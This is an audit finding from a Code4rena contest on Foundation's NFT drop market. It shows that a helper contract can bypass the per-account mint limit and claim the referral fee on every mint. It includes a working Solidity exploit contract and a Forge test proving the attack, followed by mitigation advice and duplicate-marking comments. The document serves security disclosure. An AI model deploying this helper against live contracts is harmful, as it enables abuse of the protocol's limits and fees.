Smart contract callers can bypass account limits and exploit referral fees

[code423n4]

Lines of code

https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/nftDropMarket/NFTDropMarketFixedPriceSale.sol#L170

Vulnerability details

NFTDropMarketFixedPriceSale enforces a mint limit per address and pays a referral fee if the referrer address is not msg.sender. However, a simple smart contract may trivially bypass the mint limit and extract the referral fee for each mint.

Impact

Smart contract callers can bypass the limitPerAccount and claim the referral fee for each mint for themselves.

Proof of Concept

Every buyer should use this little helper in order to ignore the limitPerAccount and automatically count as a buyReferrer to get a 1% discount out of the protocol fees:

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity ^0.8.12;

import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

import "../../lib/forge-std/src/Test.sol";

import "../../contracts/NFTDropCollection.sol";
import "../../contracts/NFTCollectionFactory.sol";
import "../../contracts/NFTDropMarket.sol";
import "../../contracts/mocks/MockTreasury.sol";
import "../../contracts/mocks/FETHMarketMock.sol";
import "../../contracts/mocks/RoyaltyRegistry/MockRoyaltyRegistry.sol";
import "../../contracts/libraries/AddressLibrary.sol";
import "../../contracts/mixins/roles/AdminRole.sol";
import "../../contracts/FETH.sol";

contract MintHelper {
  function smartMint(
    NFTDropMarket market,
    address nftContract,
    uint256 count
  ) public payable {
    (, uint256 price, uint256 limitPerAccount, uint256 numberAvailable, bool marketCanMint) = market.getFixedPriceSale(
      nftContract
    );

    require(marketCanMint, "Market is not ready to mint.");
    require(numberAvailable >= count, "Not enough tokens available to mint.");
    require(price == msg.value / count, "Expected value is count * price");

    while (count != 0) {
      // mint this batch
      uint16 thisBatch = uint16(count > limitPerAccount ? limitPerAccount : count);
      uint256 firstTokenId = market.mintFromFixedPriceSale{ value: price * thisBatch }(
        address(nftContract),
        thisBatch,
        payable(msg.sender) // buyReferrer, to get the 1% discount
      );

      // transfer the minted NFTs to the customer so that we can mint the next batch
      for (uint256 i = 0; i < thisBatch; ) {
        IERC721(nftContract).transferFrom(address(this), msg.sender, firstTokenId + i);
        unchecked {
          ++i;
        }
      }

      unchecked {
        count -= thisBatch;
      }
    }
  }
}

contract SmartBuyer is Test {
  address admin = makeAddr("admin");
  address creator = makeAddr("creator");
  uint80 price = 0.5 ether;
  uint16 limitPerAccount = 10;

  MockTreasury treasury;
  NFTCollectionFactory nftCollectionFactory;
  NFTDropCollection nftDropCollectionTemplate;
  NFTDropMarket nftDropMarket;
  FETH feth;
  MockRoyaltyRegistry royaltyRegistry;

  NFTDropCollection collection;

  function setUp() public {
    /** Pre-reqs **/
    treasury = new MockTreasury();
    nftCollectionFactory = new NFTCollectionFactory(address(treasury));
    nftCollectionFactory.initialize(2);
    nftDropCollectionTemplate = new NFTDropCollection(address(nftCollectionFactory));
    nftCollectionFactory.adminUpdateNFTDropCollectionImplementation(address(nftDropCollectionTemplate));

    /** Deploy Market **/
    // Deploy the proxy with a placeholder implementation.
    TransparentUpgradeableProxy dropMarketProxy = new TransparentUpgradeableProxy(address(treasury), admin, "");
    feth = new FETH(payable(dropMarketProxy), payable(dropMarketProxy), 24 hours);
    royaltyRegistry = new MockRoyaltyRegistry();

    NFTDropMarket dropMarketImplementation = new NFTDropMarket(
      payable(treasury),
      address(feth),
      address(royaltyRegistry)
    );
    vm.prank(admin);
    dropMarketProxy.upgradeTo(address(dropMarketImplementation));
    nftDropMarket = NFTDropMarket(payable(dropMarketProxy));
    nftDropMarket.initialize();

    vm.prank(creator);
    collection = NFTDropCollection(
      nftCollectionFactory.createNFTDropCollection(
        "name",
        "symbol",
        "ipfs://baseURI/",
        0x0,
        888,
        address(nftDropMarket),
        /* nonce */
        0
      )
    );

    /** List for sale **/
    vm.prank(creator);
    nftDropMarket.createFixedPriceSale(address(collection), price, limitPerAccount);
  }

  function testSmartBuy() public {
    // set up
    address buyer = makeAddr("buyer");
    uint256 count = 10 * limitPerAccount;
    vm.deal(buyer, count * price);
    MintHelper helper = new MintHelper();

    // when we use smartMint
    vm.prank(buyer);
    helper.smartMint{ value: count * price }(nftDropMarket, address(collection), count);

    // then we get the number of NFTs we wanted regardless of limitPerAccount
    assertEq(collection.balanceOf(buyer), count);

    // and we get the 1% cashback
    assertEq(buyer.balance, (count * price) / 100);
  }
}

Recommended Mitigation Steps

Because the limitPerAccount and the buyReferrer logic can be trivially used by sophisticated users, they should be considered for removal:

• the contract logic would be simplified
• it would cost less gas to create a fixed price sale (no need to store limitPerAccount)
• it would cost less gas to mint from a fixed price sale for every user
• the protocol fees would be maintained and not incentivize “exploiters”

[ghost]

There are 2 issues (bypass account limits on minting, specify another address that the buyer owns as the buyReferral) in this issue.

[HardlyDifficult]

Dupe of https://github.com/code-423n4/2022-08-foundation-findings/issues/59 and https://github.com/code-423n4/2022-08-foundation-findings/issues/134